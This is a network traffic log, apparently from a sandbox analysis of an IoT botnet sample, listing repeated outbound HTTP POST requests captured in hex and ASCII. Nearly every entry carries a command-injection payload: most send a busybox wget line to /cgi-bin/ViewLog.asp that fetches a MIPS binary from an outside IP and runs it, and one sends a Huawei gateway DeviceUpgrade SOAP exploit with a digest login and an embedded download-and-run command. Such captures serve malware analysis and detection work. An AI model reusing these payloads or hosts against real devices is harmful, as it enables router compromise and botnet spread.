                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                264192.168.2.153635631.136.183.98080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.703661919 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.303404093 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:59.451440096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:01.755337000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.363208055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.578964949 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.546401024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:12.409553051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                265192.168.2.154389431.11.132.748080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.746722937 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:57.951581001 CET680INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:20:57 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                266192.168.2.154950294.120.16.498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.779324055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                267192.168.2.1533012156.241.108.17837215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.914963961 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                268192.168.2.153724031.136.173.828080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.203743935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:04.319247007 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.459101915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.490823984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834228039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.984741926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                269192.168.2.153594231.136.246.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.205415964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:04.319247007 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.459101915 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.490823984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834228039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
